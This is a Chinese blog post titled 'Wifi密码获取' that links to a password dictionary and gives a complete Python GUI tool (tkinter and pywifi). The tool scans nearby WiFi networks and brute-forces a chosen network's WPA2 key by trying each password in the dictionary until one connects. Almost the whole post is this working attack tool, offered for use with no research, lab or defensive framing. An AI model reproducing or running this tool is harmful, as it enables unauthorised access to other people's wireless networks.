Wifi密码获取
2024-10-15 15:09 狼人:-) 阅读(57) 评论(0) 编辑 收藏 举报
字典:https://files.cnblogs.com/files/waw/wifi-pwd.zip?t=1728976058&download=true
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 | from tkinter import * from tkinter import ttk import pywifi from pywifi import const import time import tkinter.filedialog # 在Gui中打开文件浏览 import tkinter.messagebox # 打开tkiner的消息提醒框 class MY_GUI(): def __init__( self , init_window_name): self .init_window_name = init_window_name # 密码文件路径 self .get_value = StringVar() # 设置可变内容 # 获取猜解wifi账号 self .get_wifi_value = StringVar() # 获取wifi密码 self .get_wifimm_value = StringVar() # 抓取网卡接口 self .wifi = pywifi.PyWiFi() # 抓取第一个无线网卡 self .iface = self .wifi.interfaces()[ 0 ] # 测试链接断开所有链接 self .iface.disconnect() time.sleep( 1 ) # 休眠1秒 # 测试网卡是否属于断开状态 assert self .iface.status() in \ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def __str__( self ): # 自动会调用的函数,返回自身的网卡 return '(WIFI:%s,%s)' % ( self .wifi, self .iface.name()) # 设置窗口 def set_init_window( self ): self .init_window_name.title( "WIFI猜解工具" ) self .init_window_name.geometry( '+500+200' ) labelframe = LabelFrame(width = 400 , height = 200 , text = "配置" ) # 框架,以下对象都是对于labelframe中添加的 labelframe.grid(column = 0 , row = 0 , padx = 10 , pady = 10 ) self .search = Button(labelframe, text = "搜索附近WiFi" , command = self .scans_wifi_list).grid(column = 0 , row = 0 ) self .pojie = Button(labelframe, text = "开始猜解" , command = self .readPassWord).grid(column = 1 , row = 0 ) self .label = Label(labelframe, text = "目录路径:" ).grid(column = 0 , row = 1 ) self .path = Entry(labelframe, width = 12 , textvariable = self .get_value).grid(column = 1 , row = 1 ) self . file = Button(labelframe, text = "添加密码文件目录" , command = self .add_mm_file).grid(column = 2 , row = 1 ) self .wifi_text = Label(labelframe, text = "WiFi账号:" ).grid(column = 0 , row = 2 ) self .wifi_input = Entry(labelframe, width = 12 , textvariable = self .get_wifi_value).grid(column = 1 , row = 2 ) self .wifi_mm_text = Label(labelframe, text = "WiFi密码:" ).grid(column = 2 , row = 2 ) self .wifi_mm_input = Entry(labelframe, width = 10 , textvariable = self .get_wifimm_value).grid(column = 3 , row = 2 ,sticky = W) self .wifi_labelframe = LabelFrame(text = "wifi列表" ) self .wifi_labelframe.grid(column = 0 , row = 3 , columnspan = 4 , sticky = NSEW) # 定义树形结构与滚动条 self .wifi_tree = ttk.Treeview( self .wifi_labelframe, show = "headings" , columns = ( "a" , "b" , "c" , "d" )) self .vbar = ttk.Scrollbar( self .wifi_labelframe, orient = VERTICAL, command = self .wifi_tree.yview) self .wifi_tree.configure(yscrollcommand = self .vbar. set ) # 表格的标题 self .wifi_tree.column( "a" , width = 50 , anchor = "center" ) self .wifi_tree.column( "b" , width = 100 , anchor = "center" ) self .wifi_tree.column( "c" , width = 100 , anchor = "center" ) self .wifi_tree.column( "d" , width = 100 , anchor = "center" ) self .wifi_tree.heading( "a" , text = "WiFiID" ) self .wifi_tree.heading( "b" , text = "SSID" ) self .wifi_tree.heading( "c" , text = "BSSID" ) self .wifi_tree.heading( "d" , text = "signal" ) self .wifi_tree.grid(row = 4 , column = 0 , sticky = NSEW) self .wifi_tree.bind( "<Double-1>" , self .onDBClick) self .vbar.grid(row = 4 , column = 1 , sticky = NS) # 搜索wifi def scans_wifi_list( self ): # 扫描周围wifi列表 # 开始扫描 print ( "^_^ 开始扫描附近wifi..." ) self .iface.scan() time.sleep( 15 ) # 在若干秒后获取扫描结果 scanres = self .iface.scan_results() # 统计附近被发现的热点数量 nums = len (scanres) print ( "数量: %s" % (nums)) # 实际数据 self .show_scans_wifi_list(scanres) return scanres # 显示wifi列表 def show_scans_wifi_list( self , scans_res): for index, wifi_info in enumerate (scans_res): self .wifi_tree.insert("", 'end' , values = (index + 1 , wifi_info.ssid, wifi_info.bssid, wifi_info.signal)) # 添加密码文件目录 def add_mm_file( self ): self .filename = tkinter.filedialog.askopenfilename() self .get_value. set ( self .filename) # Treeview绑定事件 def onDBClick( self , event): self .sels = event.widget.selection() self .get_wifi_value. set ( self .wifi_tree.item( self .sels, "values" )[ 1 ]) # 读取密码字典,进行匹配 def readPassWord( self ): self .getFilePath = self .get_value.get() self .get_wifissid = self .get_wifi_value.get() pwdfilehander = open ( self .getFilePath, "r" , errors = "ignore" ) while True : try : self .pwdStr = pwdfilehander.readline() if not self .pwdStr: break self .bool1 = self .connect( self .pwdStr, self .get_wifissid) if self .bool1: self .res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % ( self .get_wifissid, self .pwdStr) self .get_wifimm_value. set ( self .pwdStr) tkinter.messagebox.showinfo( '提示' , '猜解成功!!!' ) print ( self .res) break else : self .res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % ( self .get_wifissid, self .pwdStr) print ( self .res) time.sleep( 3 ) except : continue # 对wifi和密码进行匹配 def connect( self , pwd_Str, wifi_ssid): # 创建wifi链接文件 self .profile = pywifi.Profile() self .profile.ssid = wifi_ssid # wifi名称 self .profile.auth = const.AUTH_ALG_OPEN # 网卡的开放 self .profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法 self .profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元 self .profile.key = pwd_Str # 密码 self .iface.remove_all_network_profiles() # 删除所有的wifi文件 self .tmp_profile = self .iface.add_network_profile( self .profile) # 设定新的链接文件 self .iface.connect( self .tmp_profile) # 链接 time.sleep( 5 ) if self .iface.status() = = const.IFACE_CONNECTED: # 判断是否连接上 isOK = True else : isOK = False self .iface.disconnect() # 断开 time.sleep( 1 ) # 检查断开状态 assert self .iface.status() in \ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOK def gui_start(): init_window = Tk() ui = MY_GUI(init_window) print (ui) ui.set_init_window() init_window.mainloop() if __name__ = = "__main__" : gui_start() |
声明:此博有部分内容为转载,版权归原作者所有~
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· PowerShell开发游戏 · 打蜜蜂
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
2011-10-15 Silverlight 游戏开发小技巧:轨迹跟随“.NET研究”效果
2011-10-15 看看Entity Framework 4生成的复杂的分页SQL语“.NET研究”句
2011-10-15 Silver“.NET研究”light 游戏开发小技巧:透明背景的Silverlight程序
2011-10-15 Silverlight 游戏开发“.NET研究”小技巧:星球大战字幕效果
2011-10-15 Silver“.NET研究”light 游戏开发小技巧:实现街霸4的选人界面
2011-10-15 Silverli“.NET研究”ght 游戏开发小技巧:传送点特效制作
2011-10-15 Silver“.NET研究”light 游戏开发小技巧:升级和传送点特效1